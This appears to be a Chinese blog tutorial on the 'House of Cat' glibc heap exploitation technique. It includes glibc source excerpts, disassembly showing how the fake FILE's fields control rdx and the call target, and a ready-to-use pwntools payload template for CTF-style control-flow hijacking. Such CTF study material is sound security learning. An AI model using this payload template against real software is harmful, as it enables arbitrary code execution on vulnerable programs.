当前位置: 首页 > news >正文

House of Cat

在一些堆题中,如果要利用 setcontext+61 劫持控制流,需要让 rdx 指向可控的地址,在高版本下,这一般需要通过寻找 gadget 实现,而 house of cat 可以在攻击时直接控制 rdx

house of cat 利用链的构造思想与 house of apple2 类似,都是利用 wfilevtable 缺少检查这个性质。

house of cat 的利用链为 _IO_wfile_seekoff -> _IO_switch_to_wget_mode -> _IO_WOVERFLOW,由于对于虚表的检查是 check 这个地址是否在指定的区间内,所以只要有调用到 _IO_FILE 的虚表函数的情况,就可以通过修改 vtable 为任意虚表函数地址实现执行任意虚表函数。

这条利用链的相关源码如下:

off64_t
_IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode)
{off64_t result;off64_t delta, new_offset;long int count;if (mode == 0)return do_ftell_wide (fp);int must_be_exact = ((fp->_wide_data->_IO_read_base== fp->_wide_data->_IO_read_end)&& (fp->_wide_data->_IO_write_base== fp->_wide_data->_IO_write_ptr));bool was_writing = ((fp->_wide_data->_IO_write_ptr> fp->_wide_data->_IO_write_base)|| _IO_in_put_mode (fp));if (was_writing && _IO_switch_to_wget_mode (fp))return WEOF;
......
int
_IO_switch_to_wget_mode (FILE *fp)
{if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF)return EOF;......
}
}

可以看到需要绕过 was_writing fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base 如果我们能够伪造 fake_file,这些都是可控的。

最值得关注的是调用 _IO_WOVERFLOW 时的汇编:

► 0x7f4cae745d30 <_IO_switch_to_wget_mode>       endbr640x7f4cae745d34 <_IO_switch_to_wget_mode+4>     mov    rax, qword ptr [rdi + 0xa0]0x7f4cae745d3b <_IO_switch_to_wget_mode+11>    push   rbx0x7f4cae745d3c <_IO_switch_to_wget_mode+12>    mov    rbx, rdi0x7f4cae745d3f <_IO_switch_to_wget_mode+15>    mov    rdx, qword ptr [rax + 0x20]0x7f4cae745d43 <_IO_switch_to_wget_mode+19>    cmp    rdx, qword ptr [rax + 0x18]0x7f4cae745d47 <_IO_switch_to_wget_mode+23>    jbe    _IO_switch_to_wget_mode+56                <_IO_switch_to_wget_mode+56>0x7f4cae745d49 <_IO_switch_to_wget_mode+25>    mov    rax, qword ptr [rax + 0xe0]0x7f4cae745d50 <_IO_switch_to_wget_mode+32>    mov    esi, 0xffffffff0x7f4cae745d55 <_IO_switch_to_wget_mode+37>    call   qword ptr [rax + 0x18]

核心是这几句:

0x7f4cae745d34 <_IO_switch_to_wget_mode+4>     mov    rax, qword ptr [rdi + 0xa0]
0x7f4cae745d3f <_IO_switch_to_wget_mode+15>    mov    rdx, qword ptr [rax + 0x20]
0x7f4cae745d49 <_IO_switch_to_wget_mode+25>    mov    rax, qword ptr [rax + 0xe0]
0x7f4cae745d55 <_IO_switch_to_wget_mode+37>    call   qword ptr [rax + 0x18]

结合前面的源码,这里的 rdi 就是 fp,也就是我们可控的 file,所以执行前的 rax 可控,进而 rdx 可控,同时最终 call 的地址也可控。

根据这些固定的偏移,可以直接总结成这样的板子拿来用:

from pwn import *def house_of_cat(chunk_addr,wfile_jumps_addr,call_addr,rdi=0,rdx=None,writable_addr=None,ex_off=0x10,
):payload = bytearray(b"\x00" * 0x130)if rdx is None:rdx = chunk_addr + 0xb0if writable_addr is None:writable_addr = chunk_addr + 0x1000def set_val(offset, val, size=8):start = offset - ex_offif start < 0:returnpayload[start : start + size] = p64(val) if size == 8 else p32(val)set_val(0x00, rdi)                         # _flags / rdiset_val(0x40, 1)set_val(0x48, 2)set_val(0x50, rdx)                         # _IO_backup_base / rdxset_val(0x58, call_addr)                   # _IO_save_end / callset_val(0x68, 0)                           # _chainset_val(0x88, writable_addr)               # _lockset_val(0xa0, chunk_addr + 0x30)           # _wide_data / rax1set_val(0xc0, 1)                           # _modeset_val(0xd8, wfile_jumps_addr + 0x30)     # vtableset_val(0x110, chunk_addr + 0x40)          # rax2return bytes(payload)# payload = house_of_cat(fake_io, libc.sym["_IO_wfile_jumps"], setcontext + 61, rdx=frame_addr)

上述模板是在用 _IO_flush_all_lockpFSOP 的情景下的,如果要用 _malloc_assert 打,vtable 处的偏移应该为 0x10

这题可以用 house of cat 来打:CISCN2024-Quals EzHeap

http://www.jsqmd.com/news/891859/

相关文章:

  • 手把手教你用Vivado和ZYNQ7000玩转PS与PL通信:一个GPIO控制的完整实战
  • AI工具协同失效诊断手册:用3个指标(响应熵值、上下文衰减率、意图偏移度)秒判工作流亚健康
  • 蓝桥杯单片机选手必看:STC15F2K60S2上DS18B20驱动移植与调试避坑指南
  • SQL 转 ER 图在线工具:一键自动生成实体关系ER图 + 系统整体ER图
  • 老旧设备系统兼容性完整指南:让过时硬件焕发新生
  • KityMinder脑图工具:5个超实用技巧让你工作效率翻倍
  • 多项式插值算法
  • 3分钟掌握BetterNCM安装器:一键解锁网易云音乐完整潜力
  • 面壁智能开源低比特大模型训练成果 BitCPM-CANN,推理阶段释放约 6 倍显存红利
  • 在ubuntu上配置taotoken作为python开发环境的默认大模型服务
  • 武汉圣擎航空:一站式机票酒店签证包车出行服务,高效省心出行优选 - 土星买买买
  • BiGRU-Attention与卡尔曼滤波融合的负面舆情预测模型实践
  • 3分钟掌握iOS应用签名:终极图形化工具完整指南
  • 如何用Excel零代码掌握AI算法:15个实战案例从Softmax到Transformer的完整指南
  • FPGA加速医疗网络安全:实时检测与硬件优化实践
  • Unity IL2Cpp逆向实战:从元数据解析到AES密钥还原
  • 专业做日式搬家的上海公司排名及其优势参考 - 资讯快报
  • ollama升级后局域网无法访问的解决过程
  • Excel AI算法实现终极指南:无需编程掌握深度学习核心原理
  • 图神经网络与强化学习融合:电力系统暂态稳定预防控制的AI新范式
  • 新手必看!用TD8620高斯计实测永磁铁与电磁铁,附线圈匝数计算实战
  • 解决 cc-connect + Claude Code 图片识别问题
  • 基于DTW与XGBoost的能源安全指数高频预测:代理变量遴选与建模实战
  • 构建可伸缩CNN:混合粒度剪枝与运行时切换技术实践
  • Unity启动页帧动画实现原理与工程实践
  • 用状态机做移动游戏端到端稳定性自动化
  • Blender导出OBJ到Unity模型发白的三大断点与解决方案
  • 基于循环嵌入与自举法的复向量信号物理参数置信区间估计
  • DVWA文件上传漏洞原理与四层纵深防御实践
  • WPA2-PSK WiFi攻防实战:从网卡驱动到handshake破解全流程